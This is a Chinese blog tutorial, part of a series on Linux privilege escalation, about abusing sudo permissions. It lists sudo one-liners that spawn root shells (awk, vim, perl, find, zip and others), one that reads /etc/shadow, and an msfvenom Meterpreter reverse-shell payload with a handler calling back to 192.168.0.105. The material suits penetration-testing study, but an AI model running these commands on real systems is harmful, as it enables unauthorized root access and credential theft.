操作系统权限提升(二十二)之Linux提权-SUDO滥用提权

系列文章

操作系统权限提升(十八)之Linux提权-内核提权
操作系统权限提升(十九)之Linux提权-SUID提权
操作系统权限提升(二十)之Linux提权-计划任务提权
操作系统权限提升(二十一)之Linux提权-环境变量劫持提权

SUDO滥用提权

SUDO滥用提权原理

sudo是linux系统管理指令,是允许系统管理员让普通用户执行一些或者全部的root命令的一个工具,如reboot,su等等。这样不仅减少了root用户的登录和管理时间,同样也提高了安全性。sudo不是对shell的一个代替,它是面向每个命令的。在一些应用场景里面,为了方便运维人员以低权限帐号进行运维,往往会开启帐号的一些SUDO权限给运维帐号,而SUDO权限的授予在/etc/sudoers中进行操作

具体的格式如下

cseroad ALL=(ALL:ALL) NOPASSWD:/usr/bin/apt-get
  • cseroad表示用户名
  • 第一个 ALL 指示允许从任何终端访问sudo
  • 第二个(ALL:ALL)指示sudo命令被允许任意用户、任意组执行
  • 第三个 NOPASSWD 表示不需要输入密码而可以sudo执行的命令

这里要注意了添加的命令一定要写在最后一行

在这里插入图片描述

但是想获取哪些命令设置了无密码sudo,还是需要查看 cat /etc/sudoers 文件或者 sudo -l 命令,而这两条命令都需要一定权限或者知道当前用户密码

在这里插入图片描述
在这里插入图片描述

如果给sudo配置文件配置了ALL 或者以下的命令就可以进行提权

wget、find、cat、apt、zip、xxd、time、taskset、git、sed、pip、ed、tmux、scp、perl、bash、less、awk、man、vi、env、ftp、ed、screen

提权的命令如下

一条命令提权的
sudo vim -c '!sh'
sudo awk 'BEGIN {system("/bin/sh")}'
sudo xxd "/etc/shadow" | xxd -r
sudo env /bin/sh
sudo perl -e 'exec "/bin/sh";'
sudo zip 2.zip 1.txt -T --unzip-command="sh -c /bin/sh"
sudo sed -n '1e exec sh 1>&0' /etc/passwd
sudo find /etc/passwd -exec /bin/sh \;

两条命令提权的
sudo git help config
!/bin/sh

sudo ftp
!/bin/sh

sudo less /etc/hosts
!sh

sudo ed
!/bin/sh

sudo man man
!/bin/sh

提权准备

使用root用户配置/etc/sudoers配置文件,设置普通用户可以运行任意命令

在这里插入图片描述

提权实战

使用CS或者MSF或者webshell上线机器

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.0.105 LPORT=8888 -f elf > mshell.elf

use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.0.105
set lport 8888
run

在这里插入图片描述

使用sudo -l 查看,发现awk可以无密码进行使用

在这里插入图片描述

接下来使用命令进行提权

sudo awk 'BEGIN {system("/bin/sh")}'

在这里插入图片描述

posted @ 2023-03-01 14:50  私ははいしゃ敗者です  阅读(48)  评论(0编辑  收藏  举报  来源